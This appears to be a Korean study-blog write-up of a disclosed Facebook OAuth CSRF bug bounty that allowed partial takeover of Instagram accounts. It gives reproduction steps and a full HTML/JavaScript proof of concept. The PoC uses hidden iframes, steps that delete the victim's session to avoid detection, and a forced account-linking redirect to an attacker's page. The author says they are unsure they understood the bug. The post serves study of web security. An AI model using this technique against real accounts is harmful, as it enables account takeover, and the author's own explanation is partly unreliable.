-
[Bugbounty Study] #Facebook _ CSRFStudy/Bugbounty Study 2020. 4. 13. 23:48
# Facebook CSRF (Instagram Partial Account Takeover) _ $12,500
해당 취약점은 Facebook OAuth Flow의 로직 버그이다.
Facebook 페이지와 Instagram 계정이 연결되는 것을 이용하여 피해자의 계정을 탈취할 수 있다.
Facebook App은 계정 연결 요청 시 nonce 매개변수 값으로 공격을 방지한다.
그러나, Instagram App은 계정 연결 요청 시 수락/거부할 확인 창 없이 바로 허가한다.
이 점을 이용하여 유효한 nonce 값을 생성할 수 있다.
해당 취약점의 이해를 돕기 위해 Facebook, Instagram과 OAuth 2.0에 대한 다음 사항을 간단히 알아야 한다.
OAuth 2.0의 동작 방식
본 취약점에서는 Native App은 Instagram App이고, Web API는 Facebook API이다.
authorize는 Authorization Code를 발급해주는 인가 엔드포인트이고,
token은 Access Token을 발급해주는 토큰 엔드포인트라는 것만 알아두고 동작 흐름을 살펴보았다.
[OAuth 2.0 동작 방식]
1. Native App에서 권한 요청
2. 인가 엔드포인트에서 인가 코드 또는 태그 발급
3. 발급받은 인가 코드를 이용하여 토큰 엔드포인트에 Access Token(Bearer Token) 요청
4. Access Token 이용해 자원에 접근
OAuth 2.0에 조금 더 자세히 대해 알고 싶다면 아래 블로그를 참고하면 된다.
- https://interconnection.tistory.com/76
- https://kimdoky.github.io/oauth/2019/05/01/ouath/
- https://minwan1.github.io/2018/02/24/2018-02-24-OAuth/Facebook App
Facebook이 자동 로그인되는 이유는 로그인과 관련된 session 값을 로컬의 쿠키로 저장하기 때문이다.
Instagram App
Facebook이 로그인된 상태에서 Instagram의 계정 연결을 시도하면 별다른 절차 없이 연결된다.
이는 로컬의 쿠키로 저장된 session 값을 이용하는 것으로 예상할 수 있다.
[재현 순서]
1. Login Session과 관련된 Facebook access_token 얻기
- Facebook App으로 로그인
- api.facebook.com/method/auth.login으로 요청
- 해당 요청에 대한 응답 값 중 access_token 저장
2. 계정 연결 시 Request 값 얻기
- 같은 기기의 Instagram App으로 로그인
- 설정 -> 계정 -> 연결된 계정 -> Facebook 선택
- m.facebook.com/auth.php로 계정 연결 요청
- Request 값 저장
- 요청에서 sig 값은 요청의 무결성을 확인하는 매개변수이다.
이미 저장된 session 값을 이용하여 값이 생성되기 때문에 유효한 값이 전송된다.
3. OAuth 유효한 nonce 값 생성
- 1번의 과정에서 얻은 access_token을 이용하여 https://graph.facebook.com/graphql로 요청
- 해당 요청을 전송하면 유효한 nonce 값을 생성하여 redirect_uri로 응답
4. 해당 과정을 이용하여 script 생성
- 단, 공격이 성공하기 위해서는 피해자의 Instagram은 로그인한 상태여야 한다.
5. script에 의해 계정이 연결될 때,
- 계정 추가 여부 알림에 의한 발견을 예방하기 위해 피해자의 브라우저에서 session을 취소한다.
- session 취소 시 위 과정을 통해 이미 알고 있는 session_key 값을 이용한다.
6. 공격자는 연결된 Facebook 페이지를 통해 피해자의 Instagram 계정 제어 가능
- 미디어 추가/삭제, 댓글 생성/삭제, 이메일 주소 확인, 메시지 스레드 확인/전송/삭제 수행 가능
- Facebook의 Instagram Graph API와 GraphQL Mutations, Queries를 통해 가능한 것이다.[script 동작 방법]
1. iframe을 이용하여 m.facebook.com/auth.php로 요청
만약, 피해자의 Facebook 계정이 로그인되어 있다면 session과 cookies를 삭제한다.
2. 1번의 과정이 완료될 때까지 2초간 기다림
3. m.facebook.com/auth.php로 재요청
이번에는 쿠키가 없으므로 피해자의 브라우저에 공격자의 Facebook 계정이 로그인되어 있어야 한다.
4. access_token과 함께 graph.facebook.com/graphql에 요청
5. 올바른 nonce 값을 포함하여 www.instagram.com/oauth/authorize로 요청
요청 시, code를 생성하고 정확한 nonce 값을 포함하여 redirect_uri으로 응답한다.
(redirect_uri : m.facebook.com/page/instagram/sync/oauthlink/)
6. redirection 후, 피해자의 상호작용 없이 계정 연결[PoC]
<html> <body> <iframe sandbox="" height="500" style="display:none;" src="https://m.facebook.com/auth.php?api_key=882a8490361da98702bf97a021ddc14d&session_key=REDACTED&sig=514274a37b4762e9a4210f40717e35cd&t=1573083437&uid=REDACTED&redirect_uri=fbconnect%3A%2F%2Fsuccess&response_type=token%2Csigned_request&return_scopes=true&scope=publish_actions&type=user_agent" /> </iframe> <iframe sandbox="" id="delayFrame" src="" width="100%" height="500" style="display:none;"> </iframe> <script> url = 'https://graph.facebook.com/graphql?doc_id=REDACTED&method=post&locale=en_US&pretty=false&format=xml&variables={"scale":"4","nt_context":{"using_white_navbar":true,"styles_id":"...","pixel_ratio":4},"params":{"payload":"/ig_sync/connect/?page_id=ATTACKER_PAGE_ID&redirect_uri=https%3A%2F%2Fm.facebook.com%2Fpage%2Finstagram%2Fsync%2Foauthlink%2F&platform=android&entry_point=settings","nt_context":{"using_white_navbar":true,"styles_id":"...","pixel_ratio":4}}}&access_token=ACCESS_TOKEN'; function setIframeSrc() { var login = "https://m.facebook.com/auth.php?api_key=882a8490361da98702bf97a021ddc14d&session_key=REDACTED&sig=514274a37b4762e9a4210f40717e35cd&t=1573083437&uid=REDACTED&redirect_uri=fbconnect%3A%2F%2Fsuccess&response_type=token%2Csigned_request&return_scopes=true&scope=publish_actions&type=user_agent"; var iframe1 = document.getElementById('delayFrame'); iframe1.src = login; fetch(url) .then(response => response.text()) .then(data => { nonce = data.split('nonce')[1].split('\u00252522')[2].split('\')[0]; url2 = 'https://www.instagram.com/oauth/authorize/?redirect_uri=https://m.facebook.com/page/instagram/sync/oauthlink/&app_id=17951132926087090&response_type=code&state={"page_id":REDACTED,"platform":"msite","start_time":1572789857,"entry_point":"settings","nonce":"' + nonce + '","permissions":null,"is_ig_link_confirmation_flow":false}'; window.location.href = url2; }); } setTimeout(setIframeSrc, 5000); </script> </body> </html>
[Impact]
악성링크를 클릭하는 것으로 피해자의 Instagram 계정을 공격자의 Facebook 페이지에 연결할 수 있다.
계정이 연결된 후 공격자는 계정을 제어할 수 있다.
[취약점에서 배울 점]
해당 취약점을 내가 제대로 이해한 것인지 의문이 든다...
특히, 피해자가 Facebook에 로그인한 상태라면 session을 삭제하고 나서 재요청을 보낼 때...!
어떻게 피해자의 브라우저에 공격자의 Facebook 계정이 로그인되어 있을 수 있는지 이해되지 않는다...;;
OAuth 2.0을 제대로 이해하기 위해 나중에 한번 구현해보아야겠다.
'Study > Bugbounty Study' 카테고리의 다른 글
[Bugbounty Study] #Dropbox _ SSRF (0) 2020.11.25 [Bugbounty Study] #Bugcrowd _ CSRF (0) 2020.04.13 [Bugbounty Study] #Google _ XSS (0) 2020.03.30 [Bugbounty Study] #Shopify _ Open Redirect to XSS (0) 2020.03.30 [Bugbounty Study] #Mail.Ru _ Account Takeover (2) 2020.03.23 댓글